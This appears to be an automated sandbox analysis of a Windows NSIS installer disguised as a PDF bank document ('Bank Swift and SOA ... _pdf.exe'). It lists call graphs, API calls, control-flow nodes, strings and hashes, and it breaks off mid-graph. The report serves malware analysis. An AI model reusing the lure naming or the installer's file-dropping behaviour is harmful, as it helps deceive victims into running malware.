4647->4646 4648 100023ae GlobalAlloc CLSIDFromString 4647->4648 4649 10002390 lstrlenW 4647->4649 4718 100012c8 4647->4718 4648->4644 4649->4644 4651 1000239b 4649->4651 4651->4644 4723 1000259f 4651->4723 4654 1000287a 4652->4654 4653 1000291f EnumWindows 4655 1000293d 4653->4655 4654->4653 4656 10002a39 4655->4656 4657 10002a2e GetLastError 4655->4657 4656->4590 4657->4656 4659 100022b1 4658->4659 4661 100017bf 4658->4661 4660 100022c3 GlobalAlloc 4659->4660 4659->4661 4660->4659 4661->4569 4666 10002627 4662->4666 4663 10002678 GlobalAlloc 4667 1000269a 4663->4667 4664 1000268b 4665 10002690 GlobalSize 4664->4665 4664->4667 4665->4667 4666->4663 4666->4664 4667->4596 4669 10002b2e 4668->4669 4670 10002b6e GlobalFree 4669->4670 4675 100024ad 4671->4675 4673 100024db wsprintfW 4673->4675 4674 10002581 GlobalFree 4674->4675 4678 1000180c 4674->4678 4675->4673 4675->4674 4676 10002558 GlobalFree 4675->4676 4677 1000250e MultiByteToWideChar 4675->4677 4679 100024fd lstrcpynW 4675->4679 4680 100024ec StringFromGUID2 4675->4680 4681 10001280 2 API calls 4675->4681 4726 1000121b GlobalAlloc 4675->4726 4727 100012f3 4675->4727 4676->4675 4677->4675 4683 100015cc 4678->4683 4679->4675 4680->4675 4681->4675 4731 1000121b GlobalAlloc 4683->4731 4685 100015d2 4686 100015df lstrcpyW 4685->4686 4688 100015f9 4685->4688 4689 10001613 4686->4689 4688->4689 4690 100015fe wsprintfW 4688->4690 4691 10001280 4689->4691 4690->4689 4692 100012c3 GlobalFree 4691->4692 4693 10001289 GlobalAlloc lstrcpynW 4691->4693 4692->4591 4693->4692 4695 1000245e 4694->4695 4697 10001879 4694->4697 4696 1000247a GlobalFree 4695->4696 4695->4697 4696->4695 4697->4603 4697->4604 4699 10001280 2 API calls 4698->4699 4700 10001576 4699->4700 4700->4597 4701->4608 4702->4610 4704 1000127c 4703->4704 4705 1000124d 4703->4705 4704->4634 4705->4704 4716 1000121b GlobalAlloc 4705->4716 4707 10001259 lstrcpyW GlobalFree 4707->4634 4709 100015c5 4708->4709 4709->4636 4717 1000121b GlobalAlloc 4710->4717 4712 1000123b lstrcpynW 4712->4627 4713->4634 4714->4628 4715->4633 4716->4707 4717->4712 4719 100012ee 4718->4719 4720 100012d0 4718->4720 4719->4719 4720->4719 4721 1000122c 2 API calls 4720->4721 4722 100012ec 4721->4722 4722->4647 4724 10002603 4723->4724 4725 100025ad VirtualAlloc 4723->4725 4724->4651 4725->4724 4726->4675 4728 10001324 4727->4728 4729 100012fc 4727->4729 4728->4675 4729->4728 4730 10001308 lstrcpyW 4729->4730 4730->4728 4731->4685 5505 10001058 5506 10001243 3 API calls 5505->5506 5508 10001074 5506->5508 5507 100010dd 5508->5507 5509 1000152e 4 API calls 5508->5509 5510 10001092 5508->5510 5509->5510 5511 1000152e 4 API calls 5510->5511 5512 100010a2 5511->5512 5513 100010b2 5512->5513 5514 100010a9 GlobalSize 5512->5514 5515 100010b6 GlobalAlloc 5513->5515 5516 100010c7 5513->5516 5514->5513 5517 10001555 3 API calls 5515->5517 5518 100010d2 GlobalFree 5516->5518 5517->5516 5518->5507 5519 40159b 5520 402b3a 18 API calls 5519->5520 5521 4015a2 SetFileAttributesW 5520->5521 5522 4015b4 5521->5522 5523 40149e 5524 4014ac PostQuitMessage 5523->5524 5525 40223e 5523->5525 5524->5525 5526 4021a0 5527 402b3a 18 API calls 5526->5527 5528 4021a6 5527->5528 5529 402b3a 18 API calls 5528->5529 5530 4021af 5529->5530 5531 402b3a 18 API calls 5530->5531 5532 4021b8 5531->5532 5533 40622d 2 API calls 5532->5533 5534 4021c1 5533->5534 5535 4021d2 lstrlenW lstrlenW 5534->5535 5536 4021c5 5534->5536 5537 405194 25 API calls 5535->5537 5538 405194 25 API calls 5536->5538 5540 4021cd 5536->5540 5539 402210 SHFileOperationW 5537->5539 5538->5540 5539->5536 5539->5540 5541 100010e1 5542 10001111 5541->5542 5543 10001243 3 API calls 5542->5543 5553 10001121 5543->5553 5544 100011d8 GlobalFree 5545 100012c8 2 API calls 5545->5553 5546 100011d3 5546->5544 5547 10001243 3 API calls 5547->5553 5548 10001280 2 API calls 5551 100011c4 GlobalFree 5548->5551 5549 10001164 GlobalAlloc 5549->5553 5550 100011f8 GlobalFree 5550->5553 5551->5553 5552 100012f3 lstrcpyW 5552->5553 5553->5544 5553->5545 5553->5546 5553->5547 5553->5548 5553->5549 5553->5550 5553->5551 5553->5552 3965 401b22 3966 401b73 3965->3966 3967 401b2f 3965->3967 3968 401b78 3966->3968 3969 401b9d GlobalAlloc 3966->3969 3972 401b46 3967->3972 3974 401bb8 3967->3974 3977 40223e 3968->3977 3986 405eea lstrcpynW 3968->3986 3971 405f0c 18 API calls 3969->3971 3970 405f0c 18 API calls 3976 402238 3970->3976 3971->3974 3984 405eea lstrcpynW 3972->3984 3974->3970 3974->3977 3987 4056c6 3976->3987 3978 401b8a GlobalFree 3978->3977 3979 401b55 3985 405eea lstrcpynW 3979->3985 3982 401b64 3991 405eea lstrcpynW 3982->3991 3984->3979 3985->3982 3986->3978 3988 4056db 3987->3988 3989 405727 3988->3989 3990 4056ef MessageBoxIndirectW 3988->3990 3989->3977 3990->3989 3991->3977 5554 4029a2 SendMessageW 5555 4029bc InvalidateRect 5554->5555 5556 4029c7 5554->5556 5555->5556 3992 401924 3993 401926 3992->3993 3994 402b3a 18 API calls 3993->3994 3995 40192b 3994->3995 3998 405772 3995->3998 4037 405a3d 3998->4037 4001 4057b1 4008 4058d1 4001->4008 4051 405eea lstrcpynW 4001->4051 4002 40579a DeleteFileW 4003 401934 4002->4003 4005 4057d7 4006 4057ea 4005->4006 4007 4057dd lstrcatW 4005->4007 4052 405981 lstrlenW 4006->4052 4009 4057f0 4007->4009 4008->4003 4081 40622d FindFirstFileW 4008->4081 4012 405800 lstrcatW 4009->4012 4015 40580b lstrlenW FindFirstFileW 4009->4015 4012->4015 4014 4058fa 4084 405935 lstrlenW CharPrevW 4014->4084 4015->4008 4022 40582d 4015->4022 4018 4058b4 FindNextFileW 4018->4022 4023 4058ca FindClose 4018->4023 4019 40572a 5 API calls 4021 40590c 4019->4021 4024 405910 4021->4024 4025 405926 4021->4025 4022->4018 4033 405875 4022->4033 4056 405eea lstrcpynW 4022->4056 4023->4008 4024->4003 4028 405194 25 API calls 4024->4028 4027 405194 25 API calls 4025->4027 4027->4003 4030 40591d 4028->4030 4029 405772 64 API calls 4029->4033 4032 405d84 40 API calls 4030->4032 4031 405194 25 API calls 4031->4018 4034 405924 4032->4034 4033->4018 4033->4029 4033->4031 4057 40572a 4033->4057 4065 405194 4033->4065 4076 405d84 4033->4076 4034->4003 4087 405eea lstrcpynW 4037->4087 4039 405a4e 4088 4059e0 CharNextW CharNextW 4039->4088 4042 405792 4042->4001 4042->4002 4043 40617e 5 API calls 4049 405a64 4043->4049 4044 405a95 lstrlenW 4045 405aa0 4044->4045 4044->4049 4047 405935 3 API calls 4045->4047 4046 40622d 2 API calls 4046->4049 4048 405aa5 GetFileAttributesW 4047->4048 4048->4042 4049->4042 4049->4044 4049->4046 4050 405981 2 API calls 4049->4050 4050->4044 4051->4005 4053 40598f 4052->4053 4054 4059a1 4053->4054 4055 405995 CharPrevW 4053->4055 4054->4009 4055->4053 4055->4054 4056->4022 4094 405b31 GetFileAttributesW 4057->4094 4060 405745 RemoveDirectoryW 4063 405753 4060->4063 4061 40574d DeleteFileW 4061->4063 4062 405757 4062->4033 4063->4062 4064 405763 SetFileAttributesW 4063->4064 4064->4062 4066 405251 4065->4066 4067 4051af 4065->4067 4066->4033 4068 4051cb lstrlenW 4067->4068 4069 405f0c 18 API calls 4067->4069 4070 4051f4 4068->4070 4071 4051d9 lstrlenW 4068->4071 4069->4068 4073 405207 4070->4073 4074 4051fa SetWindowTextW 4070->4074 4071->4066 4072 4051eb lstrcatW 4071->4072 4072->4070 4073->4066 4075 40520d SendMessageW SendMessageW SendMessageW 4073->4075 4074->4073 4075->4066 4097 406254 GetModuleHandleA 4076->4097 4080 405dac 4080->4033 4082 406243 FindClose 4081->4082 4083 4058f6 4081->4083 4082->4083 4083->4003 4083->4014 4085 405951 lstrcatW 4084->4085 4086 405900 4084->4086 4085->4086 4086->4019 4087->4039 4089 4059fd 4088->4089 4092 405a0f 4088->4092 4091 405a0a CharNextW 4089->4091 4089->4092 4090 405a33 4090->4042 4090->4043 4091->4090 4092->4090 4093 405962 CharNextW 4092->4093 4093->4092 4095 405736 4094->4095 4096 405b43 SetFileAttributesW 4094->4096 4095->4060 4095->4061 4095->4062 4096->4095 4098 406270 LoadLibraryA 4097->4098 4099 40627b GetProcAddress 4097->4099 4098->4099 4100 405d8b 4098->4100 4099->4100 4100->4080 4101 405c08 lstrcpyW 4100->4101 4102 405c31 4101->4102 4103 405c57 GetShortPathNameW 4101->4103 4126 405b56 GetFileAttributesW CreateFileW 4102->4126 4104 405c6c 4103->4104 4105 405d7e 4103->4105 4104->4105 4107 405c74 wsprintfA 4104->4107 4105->4080 4110 405f0c 18 API calls 4107->4110 4108 405c3b CloseHandle GetShortPathNameW 4108->4105 4109 405c4f 4108->4109 4109->4103 4109->4105 4111 405c9c 4110->4111 4127 405b56 GetFileAttributesW CreateFileW 4111->4127 4113 405ca9 4113->4105 4114 405cb8 GetFileSize GlobalAlloc 4113->4114 4115 405d77 CloseHandle 4114->4115 4116 405cda 4114->4116 4115->4105 4128 405bd9 ReadFile 4116->4128 4121 405cf9 lstrcpyA 4124 405d1b 4121->4124 4122 405d0d 4123 405abb 4 API calls 4122->4123 4123->4124 4125 405d52 SetFilePointer WriteFile GlobalFree 4124->4125 4125->4115 4126->4108 4127->4113 4129 405bf7 4128->4129 4129->4115 4130 405abb lstrlenA 4129->4130 4131 405afc lstrlenA 4130->4131 4132 405b04 4131->4132 4133 405ad5 lstrcmpiA 4131->4133 4132->4121 4132->4122 4133->4132 4134 405af3 CharNextA 4133->4134 4134->4131 5564 402224 5565 40223e 5564->5565 5566 40222b 5564->5566 5567 405f0c 18 API calls 5566->5567 5568 402238 5567->5568 5569 4056c6 MessageBoxIndirectW 5568->5569 5569->5565 5570 10001667 5571 1000152e 4 API calls 5570->5571 5574 1000167f 5571->5574 5572 100016c5 GlobalFree 5573 1000169a 5573->5572 5574->5572 5574->5573 5575 100016b1 VirtualFree 5574->5575 5575->5572 5576 402729 5577 402730 5576->5577 5578 4029c7 5576->5578 5579 402736 FindClose 5577->5579 5579->5578 5580 401cab 5581 402b1d 18 API calls 5580->5581 5582 401cb2 5581->5582 5583 402b1d 18 API calls 5582->5583 5584 401cba GetDlgItem 5583->5584 5585 4024e8 5584->5585 5586 4016af 5587 402b3a 18 API calls 5586->5587 5588 4016b5 GetFullPathNameW 5587->5588 5589 4016f1 5588->5589 5590 4016cf 5588->5590 5591 401706 GetShortPathNameW 5589->5591 5592 4029c7 5589->5592 5590->5589 5593 40622d 2 API calls 5590->5593 5591->5592 5594 4016e1 5593->5594 5594->5589 5596 405eea lstrcpynW 5594->5596 5596->5589 4318 402331 4319 402337 4318->4319 4320 402b3a 18 API calls 4319->4320 4321 402349 4320->4321 4322 402b3a 18 API calls 4321->4322 4323 402353 RegCreateKeyExW 4322->4323 4324 40237d 4323->4324 4326 402793 4323->4326 4325 402398 4324->4325 4327 402b3a 18 API calls 4324->4327 4330 402b1d 18 API calls 4325->4330 4333 4023a4 4325->4333 4329 40238e lstrlenW 4327->4329 4328 4023bf RegSetValueExW 4332 4023d5 RegCloseKey 4328->4332 4329->4325 4330->4333 4332->4326 4333->4328 4335 403062 4333->4335 4336 403072 SetFilePointer 4335->4336 4337 40308e 4335->4337 4336->4337 4350 40317d GetTickCount 4337->4350 4340 405bd9 ReadFile 4341 4030ae 4340->4341 4342 40317d 43 API calls 4341->4342 4346 403139 4341->4346 4343 4030c5 4342->4343 4344 40313f ReadFile 4343->4344 4343->4346 4347 4030d5 4343->4347 4344->4346 4346->4328 4347->4346 4348 405bd9 ReadFile 4347->4348 4349 403108 WriteFile 4347->4349 4348->4347 4349->4346 4349->4347 4351 4032e7 4350->4351 4352 4031ac 4350->4352 4353 402d1a 33 API calls 4351->4353 4363 40330f SetFilePointer 4352->4363 4359 403095 4353->4359 4355 4031b7 SetFilePointer 4361 4031dc 4355->4361 4359->4340 4359->4346 4360 403271 WriteFile 4360->4359 4360->4361 4361->4359 4361->4360 4362 4032c8 SetFilePointer 4361->4362 4364 4032f9 4361->4364 4367 406390 4361->4367 4374 402d1a 4361->4374 4362->4351 4363->4355 4365 405bd9 ReadFile 4364->4365 4366 40330c 4365->4366 4366->4361 4368 4063b5 4367->4368 4369 4063bd 4367->4369 4368->4361 4369->4368 4370 406444 GlobalFree 4369->4370 4371 40644d GlobalAlloc 4369->4371 4372 4064c4 GlobalAlloc 4369->4372 4373 4064bb GlobalFree 4369->4373 4370->4371 4371->4368 4371->4369 4372->4368 4372->4369 4373->4372 4375 402d43 4374->4375 4376 402d2b 4374->4376 4378 402d53 GetTickCount 4375->4378 4379 402d4b 4375->4379 4377 402d34 DestroyWindow 4376->4377 4381 402d3b 4376->4381 4377->4381 4380 402d61 4378->4380 4378->4381 4382 40628d 2 API calls 4379->4382 4383 402d96 CreateDialogParamW ShowWindow 4380->4383 4384 402d69 4380->4384 4381->4361 4382->4381 4383->4381 4384->4381 4389 402cfe 4384->4389 4386 402d77 wsprintfW 4387 405194 25 API calls 4386->4387 4388 402d94 4387->4388 4388->4381 4390 402d0d 4389->4390 4391 402d0f MulDiv 4389->4391 4390->4391 4391->4386 5604 4027b5 5605 402b3a 18 API calls 5604->5605 5606 4027c3 5605->5606 5607 4027d9 5606->5607 5608 402b3a 18 API calls 5606->5608 5609 405b31 2 API calls 5607->5609 5608->5607 5610 4027df 5609->5610 5630 405b56 GetFileAttributesW CreateFileW 5610->5630 5612 4027ec 5613 402895 5612->5613 5614 4027f8 GlobalAlloc 5612->5614 5617 4028b0 5613->5617 5618 40289d DeleteFileW 5613->5618 5615 402811 5614->5615 5616 40288c CloseHandle 5614->5616 5631 40330f SetFilePointer 5615->5631 5616->5613 5618->5617 5620 402817 5621 4032f9 ReadFile 5620->5621 5622 402820 GlobalAlloc 5621->5622 5623 402830 5622->5623 5624 402864 WriteFile GlobalFree 5622->5624 5625 403062 46 API calls 5623->5625 5626 403062 46 API calls 5624->5626 5629 40283d 5625->5629 5627 402889 5626->5627 5627->5616 5628 40285b GlobalFree 5628->5624 5629->5628 5630->5612 5631->5620 5632 4028b6 5633 402b1d 18 API calls 5632->5633 5634 4028bc 5633->5634 5635 4028f8 5634->5635 5636 4028df 5634->5636 5641 402793 5634->5641 5638 402902 5635->5638 5639 40290e 5635->5639 5637 4028e4 5636->5637 5645 4028f5 5636->5645 5646 405eea lstrcpynW 5637->5646 5642 402b1d 18 API calls 5638->5642 5640 405f0c 18 API calls 5639->5640 5640->5645 5642->5645 5645->5641 5647 405e31 wsprintfW 5645->5647 5646->5641 5647->5641 5648 4014b8 5649 4014be 5648->5649 5650 401389 2 API calls 5649->5650 5651 4014c6 5650->5651 4741 4015b9 4742 402b3a 18 API calls 4741->4742 4743 4015c0 4742->4743 4744 4059e0 4 API calls 4743->4744 4754 4015c9 4744->4754 4745 401614 4747 401646 4745->4747 4748 401619 4745->4748 4746 405962 CharNextW 4749 4015d7 CreateDirectoryW 4746->4749 4753 401423 25 API calls 4747->4753 4750 401423 25 API calls 4748->4750 4751 4015ed GetLastError 4749->4751 4749->4754 4752 401620 4750->4752 4751->4754 4755 4015fa GetFileAttributesW 4751->4755 4759 405eea lstrcpynW 4752->4759 4758 40163e 4753->4758 4754->4745 4754->4746 4755->4754 4757 40162d SetCurrentDirectoryW 4757->4758 4759->4757 5652 401939 5653 402b3a 18 API calls 5652->5653 5654 401940 lstrlenW 5653->5654 5655 4024e8 5654->5655 5656 40293b 5657 402b1d 18 API calls 5656->5657 5658 402941 5657->5658 5659 402974 5658->5659 5661 40294f 5658->5661 5662 402793 5658->5662 5660 405f0c 18 API calls 5659->5660 5659->5662 5660->5662 5661->5662 5664 405e31 wsprintfW 5661->5664 5664->5662 4973 40173f 4974 402b3a 18 API calls 4973->4974 4975 401746 4974->4975 4976 405b85 2 API calls 4975->4976 4977 40174d 4976->4977 4978 405b85 2 API calls 4977->4978 4978->4977 5665 40653f 5667 4063c3 5665->5667 5666 406d2e 5667->5666 5668 406444 GlobalFree 5667->5668 5669 40644d GlobalAlloc 5667->5669 5670 4064c4 GlobalAlloc 5667->5670 5671 4064bb GlobalFree 5667->5671 5668->5669 5669->5666 5669->5667 5670->5666 5670->5667 5671->5670

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 0 40335a-4033f0 #17 SetErrorMode OleInitialize call 406254 SHGetFileInfoW call 405eea GetCommandLineW call 405eea GetModuleHandleW 7 4033f2-4033f9 0->7 8 4033fa-40340c call 405962 CharNextW 0->8 7->8 11 4034da-4034e0 8->11 12 403411-403417 11->12 13 4034e6 11->13 14 403420-403426 12->14 15 403419-40341e 12->15 16 4034fa-403514 GetTempPathW call 403326 13->16 18 403428-40342c 14->18 19 40342d-403431 14->19 15->14 15->15 23 403516-403534 GetWindowsDirectoryW lstrcatW call 403326 16->23 24 40356c-403586 DeleteFileW call 402dbc 16->24 18->19 21 403437-40343d 19->21 22 4034cb-4034d6 call 405962 19->22 26 403457-40346e 21->26 27 40343f-403446 21->27 22->11 39 4034d8-4034d9 22->39 23->24 42 403536-403566 GetTempPathW lstrcatW SetEnvironmentVariableW * 2 call 403326 23->42 44 40361c-40362b call 4037c2 OleUninitialize 24->44 45 40358c-403592 24->45 28 403470-403486 26->28 29 40349c-4034b2 26->29 33 403448-40344b 27->33 34 40344d 27->34 28->29 35 403488-403490 28->35 29->22 37 4034b4-4034c9 29->37 33->26 33->34 34->26 40 403492-403495 35->40 41 403497 35->41 37->22 43 4034e8-4034f5 call 405eea 37->43 39->11 40->29 40->41 41->29 42->24 42->44 43->16 55 403631-403641 call 4056c6 ExitProcess 44->55 56 403727-40372d 44->56 48 403594-40359f call 405962 45->48 49 40360c-403613 call 4038b4 45->49 62 4035a1-4035b2 48->62 63 4035d6-4035e0 48->63 58 403618 49->58 60 4037aa-4037b2 56->60 61 40372f-40374c call 406254 * 3 56->61 58->44 65 4037b4 60->65 66 4037b8-4037bc ExitProcess 60->66 90 403796-4037a1 ExitWindowsEx 61->90 91 40374e-403750 61->91 64 4035b4-4035b6 62->64 68 4035e2-4035f0 call 405a3d 63->68 69 403647-403661 lstrcatW lstrcmpiW 63->69 71 4035d0-4035d4 64->71 72 4035b8-4035ce 64->72 65->66 68->44 81 4035f2-403608 call 405eea * 2 68->81 69->44 74 403663-403679 CreateDirectoryW SetCurrentDirectoryW 69->74 71->63 71->64 72->63 72->71 78 403686-4036af call 405eea 74->78 79 40367b-403681 call 405eea 74->79 89 4036b4-4036d0 call 405f0c DeleteFileW 78->89 79->78 81->49 100 403711-403719 89->100 101 4036d2-4036e2 CopyFileW 89->101 90->60 96 4037a3-4037a5 call 40140b 90->96 91->90 94 403752-403754 91->94 94->90 98 403756-403768 GetCurrentProcess 94->98 96->60 98->90 108 40376a-40378c 98->108 100->89 103 40371b-403722 call 405d84 100->103 101->100 102 4036e4-403704 call 405d84 call 405f0c call 405665 101->102 102->100 115 403706-40370d CloseHandle 102->115 103->44 108->90 115->100
                                                                                                            APIs
                                                                                                            • #17.COMCTL32 ref: 00403379
                                                                                                            • SetErrorMode.KERNELBASE(00008001), ref: 00403384
                                                                                                            • OleInitialize.OLE32(00000000), ref: 0040338B
                                                                                                              • Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
                                                                                                              • Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
                                                                                                              • Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282
                                                                                                            • SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3
                                                                                                              • Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7
                                                                                                            • GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
                                                                                                            • GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",00000000), ref: 004033DB
                                                                                                            • CharNextW.USER32(00000000,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",00000020), ref: 00403402
                                                                                                            • GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040350B
                                                                                                            • GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040351C
                                                                                                            • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403528
                                                                                                            • GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040353C
                                                                                                            • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403544
                                                                                                            • SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403555
                                                                                                            • SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040355D
                                                                                                            • DeleteFileW.KERNELBASE(1033), ref: 00403571
                                                                                                            • OleUninitialize.OLE32(?), ref: 00403621
                                                                                                            • ExitProcess.KERNEL32 ref: 00403641
                                                                                                            • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",00000000,?), ref: 0040364D
                                                                                                            • lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",00000000,?), ref: 00403659
                                                                                                            • CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403665
                                                                                                            • SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 0040366C
                                                                                                            • DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
                                                                                                            • CopyFileW.KERNEL32(C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,0041FE90,00000001), ref: 004036DA
                                                                                                            • CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
                                                                                                            • GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
                                                                                                            • ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
                                                                                                            • ExitProcess.KERNEL32 ref: 004037BC
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
                                                                                                            • String ID: "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$C:\Users\user\Desktop$C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
                                                                                                            • API String ID: 4107622049-2220002023
                                                                                                            • Opcode ID: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
                                                                                                            • Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
                                                                                                            • Opcode Fuzzy Hash: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
                                                                                                            • Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 116 404b10-404b5c GetDlgItem * 2 117 404b62-404bf6 GlobalAlloc LoadBitmapW SetWindowLongW ImageList_Create ImageList_AddMasked SendMessageW * 2 116->117 118 404d7d-404d84 116->118 119 404c05-404c0c DeleteObject 117->119 120 404bf8-404c03 SendMessageW 117->120 121 404d86-404d96 118->121 122 404d98 118->122 124 404c0e-404c16 119->124 120->119 123 404d9b-404da4 121->123 122->123 125 404da6-404da9 123->125 126 404daf-404db5 123->126 127 404c18-404c1b 124->127 128 404c3f-404c43 124->128 125->126 129 404e93-404e9a 125->129 132 404dc4-404dcb 126->132 133 404db7-404dbe 126->133 130 404c20-404c3d call 405f0c SendMessageW * 2 127->130 131 404c1d 127->131 128->124 134 404c45-404c71 call 40412f * 2 128->134 139 404f0b-404f13 129->139 140 404e9c-404ea2 129->140 130->128 131->130 136 404e40-404e43 132->136 137 404dcd-404dd0 132->137 133->129 133->132 167 404c77-404c7d 134->167 168 404d3c-404d4f GetWindowLongW SetWindowLongW 134->168 136->129 143 404e45-404e4f 136->143 147 404dd2-404dd9 137->147 148 404ddb-404df0 call 404a5e 137->148 145 404f15-404f1b SendMessageW 139->145 146 404f1d-404f24 139->146 141 4050f3-405105 call 404196 140->141 142 404ea8-404eb2 140->142 142->141 150 404eb8-404ec7 SendMessageW 142->150 152 404e51-404e5d SendMessageW 143->152 153 404e5f-404e69 143->153 145->146 154 404f26-404f2d 146->154 155 404f58-404f5f 146->155 147->136 147->148 148->136 177 404df2-404e03 148->177 150->141 160 404ecd-404ede SendMessageW 150->160 152->153 153->129 162 404e6b-404e75 153->162 163 404f36-404f3d 154->163 164 404f2f-404f30 ImageList_Destroy 154->164 158 4050b5-4050bc 155->158 159 404f65-404f71 call 4011ef 155->159 158->141 172 4050be-4050c5 158->172 188 404f81-404f84 159->188 189 404f73-404f76 159->189 170 404ee0-404ee6 160->170 171 404ee8-404eea 160->171 173 404e86-404e90 162->173 174 404e77-404e84 162->174 175 404f46-404f52 163->175 176 404f3f-404f40 GlobalFree 163->176 164->163 178 404c80-404c87 167->178 182 404d55-404d59 168->182 170->171 180 404eeb-404f04 call 401299 SendMessageW 170->180 171->180 172->141 181 4050c7-4050f1 ShowWindow GetDlgItem ShowWindow 172->181 173->129 174->129 175->155 176->175 177->136 183 404e05-404e07 177->183 186 404d1d-404d30 178->186 187 404c8d-404cb5 178->187 180->139 181->141 191 404d73-404d7b call 404164 182->191 192 404d5b-404d6e ShowWindow call 404164 182->192 184 404e09-404e10 183->184 185 404e1a 183->185 193 404e12-404e14 184->193 194 404e16-404e18 184->194 197 404e1d-404e39 call 40117d 185->197 186->178 201 404d36-404d3a 186->201 195 404cb7-404ced SendMessageW 187->195 196 404cef-404cf1 187->196 202 404fc5-404fe9 call 4011ef 188->202 203 404f86-404f9f call 4012e2 call 401299 188->203 198 404f78 189->198 199 404f79-404f7c call 404ade 189->199 191->118 192->141 193->197 194->197 195->186 206 404cf3-404d02 SendMessageW 196->206 207 404d04-404d1a SendMessageW 196->207 197->136 198->199 199->188 201->168 201->182 218 40508b-40509f InvalidateRect 202->218 219 404fef 202->219 224 404fa1-404fa7 203->224 225 404faf-404fbe SendMessageW 203->225 206->186 207->186 218->158 220 4050a1-4050b0 call 404a31 call 404978 218->220 221 404ff2-404ffd 219->221 220->158 226 405073-405085 221->226 227 404fff-40500e 221->227 231 404fa9 224->231 232 404faa-404fad 224->232 225->202 226->218 226->221 229 405010-40501d 227->229 230 405021-405024 227->230 229->230 234 405026-405029 230->234 235 40502b-405034 230->235 231->232 232->224 232->225 236 405039-405071 SendMessageW * 2 234->236 235->236 